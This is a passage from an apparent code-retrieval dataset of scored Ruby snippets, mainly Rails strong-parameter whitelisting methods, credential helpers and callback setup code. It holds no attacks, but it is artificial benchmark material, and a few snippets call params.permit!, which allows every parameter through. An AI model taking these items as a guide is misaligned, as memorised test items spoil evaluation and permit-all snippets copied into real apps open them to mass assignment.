"text": "def credentials\n if authenticating_with_verification_code?\n details = {}\n details[login_field.to_sym] = send(login_field)\n details[verification_code_field.to_sym] = \"<protected>\"\n details\n else\n super\n end\n end",
"title": ""
},
{
"docid": "7e64d83aa0904d0e178a93829916727b",
"score": "0.51556855",
"text": "def inspect\n \"#<#{self.class}: #{@credentials.inspect}>\"\n end",
"title": ""
},
{
"docid": "44af22d2ffa9a10c5967607f407040f3",
"score": "0.51550376",
"text": "def credentials(opts)\n debug(\"Gathering credentials\")\n creds = {\n 'tenant_id' => (opts[:tenant_id] || ENV['AZURE_TENANT_ID']),\n 'client_id' => (opts[:client_id] || ENV['AZURE_CLIENT_ID']),\n 'client_secret' => (opts[:client_secret] || ENV['AZURE_CLIENT_SECRET']),\n 'subscription_id' => (opts[:subscription_id] || ENV['AZURE_SUBSCRIPTION_ID'])\n }\n\n missing_keys = creds.select { |_k, v| v.nil? }.keys\n if missing_keys.any?\n msg = \"Parameters #{missing_keys.join(', ')} must be specified or set as environment variables\"\n raise TaskHelper::Error.new(msg, 'bolt-plugin/validation-error', 'debug' => debug_statements)\n end\n\n creds\n end",
"title": ""
},
{
"docid": "3fe29896326582c91e6b759a1d29e98f",
"score": "0.5153196",
"text": "def expected_response(http_method, uri, credentials, password)\n ha1 = ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))\n ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))\n ::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))\n end",
"title": ""
},
{
"docid": "9bb71ce0bf02d493c934116890ed0f45",
"score": "0.5134815",
"text": "def list_credentials(enterprise)\n links = JSON.parse(get_credentials(enterprise))[\"collection\"].collect{ |cred| cred[\"links\"] }.zip\n if not links.nil? and not links[0].nil?\n match = links[0][0].select{ |link| link[\"rel\"] == \"hypervisortype\" }\n return match.collect{ |link| link[\"title\"] }\n else\n return []\n end\n end",
"title": ""
},
{
"docid": "1e4c948a1709564d21f24e00ef4862f0",
"score": "0.51300263",
"text": "def credentials\r\n @@profile.credentials\r\n end",
"title": ""
},
{
"docid": "fdb8f0bd937f8a693040fe5687ffa823",
"score": "0.5127937",
"text": "def validate_credentials!\n for credential, value in credentials\n raise(Error::ConfigurationError, \"Invalid #{credential} specified: #{value.inspect} must be a string or symbol.\") unless value.is_a?(String) || value.is_a?(Symbol)\n end\n end",
"title": ""
},
{
"docid": "a00b513333ac53442785d9a926b02ba9",
"score": "0.5116015",
"text": "def get_credentials!\n uri = URI(CREDS_ENDPOINT)\n req = Net::HTTP::Post.new(uri.request_uri)\n req.basic_auth(@api_key, \"\")\n resp = Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |https|\n https.request(req)\n end\n\n if resp.is_a?(Net::HTTPSuccess)\n JSON.parse(resp.body, {:symbolize_names => true})\n else\n raise CredentialsError.new(\"Error retrieving credentials; please try again shortly (#{resp.body})\")\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "a658bcb06cde155953f07ee90214a70e",
"score": "0.0",
"text": "def event_params\n params.require(:event).permit(:titulo, :descripcion, :fecha_contacto, :nombre_contacto, :numero_contacto, :shop_id, :type_id , :state_id, :user_id)\n end",
"title": ""
}
] |
[
{
"docid": "e164094e79744552ae1c53246ce8a56c",
"score": "0.6981537",
"text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e662f0574b56baff056c6fc4d8aa1f47",
"score": "0.67835593",
"text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1677b416ad07c203256985063859691b",
"score": "0.6748275",
"text": "def allow_params_authentication!; end",
"title": ""
},
{
"docid": "c1f317213d917a1e3cfa584197f82e6c",
"score": "0.67436063",
"text": "def allowed_params\n ALLOWED_PARAMS\n end",
"title": ""
},
{
"docid": "547b7ab7c31effd8dcf394d3d38974ff",
"score": "0.6736311",
"text": "def default_param_whitelist\n [\"mode\"]\n end",
"title": ""
},
{
"docid": "a91e9bf1896870368befe529c0e977e2",
"score": "0.65937173",
"text": "def param_whitelist\n [:role, :title]\n end",
"title": ""
},
{
"docid": "b32229655ba2c32ebe754084ef912a1a",
"score": "0.6503359",
"text": "def expected_permitted_parameter_names; end",
"title": ""
},
{
"docid": "3a9a65d2bba924ee9b0f67cb77596482",
"score": "0.6498499",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "068f8502695b7c7f6d382f8470180ede",
"score": "0.6482832",
"text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6478776",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "c04a150a23595af2a3d515d0dfc34fdd",
"score": "0.645703",
"text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "9a2a1af8f52169bd818b039ef030f513",
"score": "0.6439998",
"text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"title": ""
},
{
"docid": "c5f294dd85260b1f3431a1fbbc1fb214",
"score": "0.63802195",
"text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "631f07548a1913ef9e20ecf7007800e5",
"score": "0.6377008",
"text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"title": ""
},
{
"docid": "9735bbaa391eab421b71a4c1436d109e",
"score": "0.6366287",
"text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "12fa2760f5d16a1c46a00ddb41e4bce2",
"score": "0.632018",
"text": "def param_whitelist\n [:rating, :review]\n end",
"title": ""
},
{
"docid": "f12336a181f3c43ac8239e5d0a59b5b4",
"score": "0.63016284",
"text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "c25a1ea70011796c8fcd4927846f7a04",
"score": "0.63011277",
"text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.62932974",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "822c743e15dd9236d965d12beef67e0c",
"score": "0.62919617",
"text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"title": ""
},
{
"docid": "533f1ba4c3ab55e79ed9b259f67a70fb",
"score": "0.62905645",
"text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "7f0fd756d3ff6be4725a2c0449076c58",
"score": "0.6289235",
"text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"title": ""
},
{
"docid": "5f16bb22cb90bcfdf354975d17e4e329",
"score": "0.6283876",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "1dfca9e0e667b83a9e2312940f7dc40c",
"score": "0.62425834",
"text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"title": ""
},
{
"docid": "a44360e98883e4787a9591c602282c4b",
"score": "0.62410337",
"text": "def allowed_params\n params.require(:allowed).permit(:email)\n end",
"title": ""
},
{
"docid": "4fc36c3400f3d5ca3ad7dc2ed185f213",
"score": "0.6218672",
"text": "def permitted_params\n []\n end",
"title": ""
},
{
"docid": "7a218670e6f6c68ab2283e84c2de7ba8",
"score": "0.62151134",
"text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"title": ""
},
{
"docid": "b074031c75c664c39575ac306e13028f",
"score": "0.62096137",
"text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"title": ""
},
{
"docid": "0cb77c561c62c78c958664a36507a7c9",
"score": "0.6192354",
"text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"title": ""
},
{
"docid": "9892d8126849ccccec9c8726d75ff173",
"score": "0.6178057",
"text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e3089e0811fa34ce509d69d488c75306",
"score": "0.6177618",
"text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"title": ""
},
{
"docid": "7b7196fbaee9e8777af48e4efcaca764",
"score": "0.61727077",
"text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"title": ""
},
{
"docid": "9d589006a5ea3bb58e5649f404ab60fb",
"score": "0.6162073",
"text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"title": ""
},
{
"docid": "d578c7096a9ab2d0edfc431732f63e7f",
"score": "0.6152049",
"text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "38a9fb6bd1d9ae5933b748c181928a6b",
"score": "0.61515594",
"text": "def safe_params\n params.require(:user).permit(:name)\n end",
"title": ""
},
{
"docid": "7a6fbcc670a51834f69842348595cc79",
"score": "0.61458135",
"text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"title": ""
},
{
"docid": "fe4025b0dd554f11ce9a4c7a40059912",
"score": "0.6122875",
"text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.61165285",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "60ccf77b296ed68c1cb5cb262bacf874",
"score": "0.6107696",
"text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9",
"score": "0.6104097",
"text": "def quote_params\n params.permit!\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.6091097",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "34d018968dad9fa791c1df1b3aaeccd1",
"score": "0.6080201",
"text": "def paramunold_params\n params.require(:paramunold).permit!\n end",
"title": ""
},
{
"docid": "6d41ae38c20b78a3c0714db143b6c868",
"score": "0.60699946",
"text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6063739",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "49052f91dd936c0acf416f1b9e46cf8b",
"score": "0.60206395",
"text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"title": ""
},
{
"docid": "5eaf08f3ad47cc781c4c1a5453555b9c",
"score": "0.60169303",
"text": "def filtering_params\n params.permit(:email, :name)\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.60134894",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "3b17d5ad24c17e9a4c352d954737665d",
"score": "0.601003",
"text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007347",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007347",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "74c092f6d50c271d51256cf52450605f",
"score": "0.6001054",
"text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"title": ""
},
{
"docid": "75415bb78d3a2b57d539f03a4afeaefc",
"score": "0.59997267",
"text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"title": ""
},
{
"docid": "bb32aa218785dcd548537db61ecc61de",
"score": "0.5997844",
"text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"title": ""
},
{
"docid": "865a5fdd77ce5687a127e85fc77cd0e7",
"score": "0.5991826",
"text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "ec609e2fe8d3137398f874bf5ef5dd01",
"score": "0.5991213",
"text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"title": ""
},
{
"docid": "65fa57add93316c7c8c6d8a0b4083d0e",
"score": "0.59911627",
"text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"title": ""
},
{
"docid": "423b4bad23126b332e80a303c3518a1e",
"score": "0.5980111",
"text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"title": ""
},
{
"docid": "48e86c5f3ec8a8981d8293506350accc",
"score": "0.5967009",
"text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"title": ""
},
{
"docid": "9f774a9b74e6cafa3dd7fcc914400b24",
"score": "0.59597385",
"text": "def active_code_params\n params[:active_code].permit\n end",
"title": ""
},
{
"docid": "a573514ae008b7c355d2b7c7f391e4ee",
"score": "0.5958542",
"text": "def filtering_params\n params.permit(:email)\n end",
"title": ""
},
{
"docid": "2202d6d61570af89552803ad144e1fe7",
"score": "0.595787",
"text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"title": ""
},
{
"docid": "8b571e320cf4baff8f6abe62e4143b73",
"score": "0.5957425",
"text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"title": ""
},
{
"docid": "d493d59391b220488fdc1f30bd1be261",
"score": "0.59522784",
"text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"title": ""
},
{
"docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a",
"score": "0.5951228",
"text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"title": ""
},
{
"docid": "4e6017dd56aab21951f75b1ff822e78a",
"score": "0.59423685",
"text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.5939385",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.5939122",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.5939122",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "5060615f2c808bab2d45f4d281987903",
"score": "0.59325653",
"text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"title": ""
},
{
"docid": "7fa620eeb32e576da67f175eea6e6fa0",
"score": "0.5930178",
"text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"title": ""
},
{
"docid": "d9483565c400cd4cb1096081599a7afc",
"score": "0.59248054",
"text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"title": ""
},
{
"docid": "f7c6dad942d4865bdd100b495b938f50",
"score": "0.59243476",
"text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"title": ""
},
{
"docid": "70fa55746056e81854d70a51e822de66",
"score": "0.59164625",
"text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"title": ""
},
{
"docid": "753b67fc94e3cd8d6ff2024ce39dce9f",
"score": "0.59106",
"text": "def url_whitelist; end",
"title": ""
},
{
"docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa",
"score": "0.59101933",
"text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"title": ""
},
{
"docid": "3eef50b797f6aa8c4def3969457f45dd",
"score": "0.59084356",
"text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c",
"score": "0.5905666",
"text": "def admin_social_network_params\n params.require(:social_network).permit!\n end",
"title": ""
},
{
"docid": "5bdab99069d741cb3414bbd47400babb",
"score": "0.58975077",
"text": "def filter_params\n params.require(:filters).permit(:letters)\n end",
"title": ""
},
{
"docid": "de77f0ab5c853b95989bc97c90c68f68",
"score": "0.58974737",
"text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "29d030b36f50179adf03254f7954c362",
"score": "0.5895128",
"text": "def sensitive_params=(params)\n @sensitive_params = params\n end",
"title": ""
},
{
"docid": "7c5ee86a81b391c12dc28a6fe333c0a8",
"score": "0.58946574",
"text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"title": ""
},
{
"docid": "bf321f5f57841bb0f8c872ef765f491f",
"score": "0.589308",
"text": "def permit_request_params\n params.permit(:address)\n end",
"title": ""
},
{
"docid": "5186021506f83eb2f6e244d943b19970",
"score": "0.58916",
"text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"title": ""
},
{
"docid": "b85a12ab41643078cb8da859e342acd5",
"score": "0.5885987",
"text": "def secure_params\n params.require(:location).permit(:name)\n end",
"title": ""
},
{
"docid": "46e104db6a3ac3601fe5904e4d5c425c",
"score": "0.58838505",
"text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"title": ""
},
{
"docid": "abca6170eec412a7337563085a3a4af2",
"score": "0.58792",
"text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"title": ""
},
{
"docid": "26a35c2ace1a305199189db9e03329f1",
"score": "0.58723736",
"text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "7b7ecfcd484357c3ae3897515fd2931d",
"score": "0.58684355",
"text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "de49fd084b37115524e08d6e4caf562d",
"score": "0.58677715",
"text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"title": ""
},
{
"docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3",
"score": "0.5865701",
"text": "def backend_user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "8aa9e548d99691623d72891f5acc5cdb",
"score": "0.5865538",
"text": "def url_params\n params[:url].permit(:full)\n end",
"title": ""
},
{
"docid": "0016f219c5d958f9b730e0824eca9c4a",
"score": "0.5865288",
"text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"title": ""
},
{
"docid": "be95d72f5776c94cb1a4109682b7b224",
"score": "0.586385",
"text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"title": ""
},
{
"docid": "967c637f06ec2ba8f24e84f6a19f3cf5",
"score": "0.5862139",
"text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"title": ""
},
{
"docid": "e4a29797f9bdada732853b2ce3c1d12a",
"score": "0.58614355",
"text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"title": ""
},
{
"docid": "d14f33ed4a16a55600c556743366c501",
"score": "0.58593005",
"text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"title": ""
},
{
"docid": "46cb58d8f18fe71db8662f81ed404ed8",
"score": "0.5857459",
"text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"title": ""
},
{
"docid": "7e9a6d6c90f9973c93c26bcfc373a1b3",
"score": "0.58541363",
"text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"title": ""
},
{
"docid": "ad61e41ab347cd815d8a7964a4ed7947",
"score": "0.58536613",
"text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"title": ""
},
{
"docid": "8894a3d0d0ad5122c85b0bf4ce4080a6",
"score": "0.58520085",
"text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"title": ""
},
{
"docid": "53d84ad5aa2c5124fa307752101aced3",
"score": "0.585011",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "7da7000c45c3472325c1608b432984aa",
"score": "0.0",
"text": "def set_transaction\n @transaction = Transaction.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.61642385",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.60448",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5945487",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.5915654",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.58890367",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58330417",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776098",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703048",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703048",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5654613",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5620029",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.5423114",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5393666",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53783023",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.53568405",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53391176",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.5339061",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53310865",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.5312988",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529798",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52968603",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.52962637",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52577317",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
